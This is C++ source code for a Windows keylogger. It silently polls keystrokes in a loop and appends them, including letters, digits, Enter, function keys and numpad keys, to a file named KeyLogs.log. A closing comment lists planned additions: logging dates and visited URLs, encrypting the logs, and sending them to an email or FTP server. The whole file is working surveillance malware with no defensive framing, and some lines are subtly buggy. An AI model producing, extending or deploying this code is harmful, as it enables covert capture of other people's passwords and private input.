#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <conio.h>

int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
 FILE* pFile = fopen( "KeyLogs.log", "a+" );
 
 char pKey[255];
 sprintf( pKey, "ABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890" );
 
 fprintf( pFile, "\n.::.Log Started.::.\n");
 
 /*
  MOUSEMOVEPOINT pMouse;
 
  fprintf( pFile, pMouse.x );
  fprintf( pFile, pMouse.y );
 
  char pBuffer[255];
  SYSTEMTIME pTime;
  GetSystemTime( &pTime );
 */
 
 while ( !GetAsyncKeyState( VK_ESCAPE )&1 ) {
  for ( unsigned int i = 0; i != strlen( pKey ); ++i ) {
   if ( GetAsyncKeyState( ( int )pKey [ i ] )&1 ) 
    fprintf( pFile, "%c", pKey[ i ] );
  }
 
  if ( GetAsyncKeyState( VK_RETURN )&1 ) fprintf( pFile, "[ENTER]\n" );
  if ( GetAsyncKeyState( VK_SPACE )&1 ) fprintf( pFile, " ");
  if ( GetAsyncKeyState( VK_TAB )&1 ) fprintf( pFile, " [TAB] " );
  if ( GetAsyncKeyState( VK_CAPITAL )&1 ) fprintf( pFile, " [CAPS LOCK] " );
  if ( GetAsyncKeyState( VK_F1 )&1 ) fprintf( pFile, " [F1] " );
  if ( GetAsyncKeyState( VK_F2 )&1 ) fprintf( pFile, " [F2] " );
  if ( GetAsyncKeyState( VK_F3 )&1 ) fprintf( pFile, " [F3] " );
  if ( GetAsyncKeyState( VK_F4 )&1 ) fprintf( pFile, " [F4] " );
  if ( GetAsyncKeyState( VK_F5 )&1 ) fprintf( pFile, " [F5] " );
  if ( GetAsyncKeyState( VK_F6 )&1 ) fprintf( pFile, " [F6] " );
  if ( GetAsyncKeyState( VK_F7 )&1 ) fprintf( pFile, " [F7] " );
  if ( GetAsyncKeyState( VK_F8 )&1 ) fprintf( pFile, " [F8] " );
  if ( GetAsyncKeyState( VK_F9 )&1 ) fprintf( pFile, " [F9] " );
  if ( GetAsyncKeyState( VK_F10 )&1 ) fprintf( pFile, " [F10] " );
  if ( GetAsyncKeyState( VK_F11 )&1 ) fprintf( pFile, " [F11] " );
  if ( GetAsyncKeyState( VK_F12 )&1 ) fprintf( pFile, " [F12] " );
  if ( GetAsyncKeyState( VK_NUMPAD0 )&1 ) fprintf( pFile, " [Numpad0] ");
  if ( GetAsyncKeyState( VK_NUMPAD1 )&1 ) fprintf( pFile, " [Numpad1] " );
  if ( GetAsyncKeyState( VK_NUMPAD2 )&1 ) fprintf( pFile, " [Numpad2] ");
  if ( GetAsyncKeyState( VK_NUMPAD3 )&1 ) fprintf( pFile, " [Numpad3] ");
  if ( GetAsyncKeyState( VK_NUMPAD4 )&1 ) fprintf( pFile, " [Numpad4] ");
  if ( GetAsyncKeyState( VK_NUMPAD5 )&1 ) fprintf( pFile, " [Numpad5] ");
  if ( GetAsyncKeyState( VK_NUMPAD6 )&1 ) fprintf( pFile, " [Numpad6] ");
  if ( GetAsyncKeyState( VK_NUMPAD7 )&1 ) fprintf( pFile, " [Numpad7] ");
  if ( GetAsyncKeyState( VK_NUMPAD8 )&1 ) fprintf( pFile, " [Numpad8] ");
  if ( GetAsyncKeyState( VK_NUMPAD9 )&1 ) fprintf( pFile, " [Numpad9] ");
  if ( GetAsyncKeyState( VK_BACK )&1 ) fprintf( pFile, " [Backspace] ");
  if ( GetAsyncKeyState( VK_MULTIPLY)&1 ) fprintf( pFile, " [*] ");
  if ( GetAsyncKeyState( VK_ADD )&1 ) fprintf( pFile, " [+] ");
  if ( GetAsyncKeyState( VK_DECIMAL )&1 ) fprintf( pFile, " [.] ");
  if ( GetAsyncKeyState( VK_DIVIDE )&1 ) fprintf( pFile, " [/] ");
  if ( GetAsyncKeyState( VK_SUBTRACT )&1 ) fprintf( pFile, " [-] ");
  if ( GetAsyncKeyState( VK_SHIFT & VK_OEM_2 )&1 ) fprintf( pFile, "?");
  if ( GetAsyncKeyState( VK_OEM_2 )&1 ) fprintf( pFile, "/");
  Sleep( 10 );
 }
 fclose( pFile );
 return 0;
}

/*

1.) Add the following numpad keys
VK_MULTIPLY VK_ADD VK_DECIMAL VK_DIVIDE
2.) Start logging Time and Date
3.) Start logging visited URLs
4.) Start sending logs to an EMAIL or FTP
5.) Encryption of logs

*/
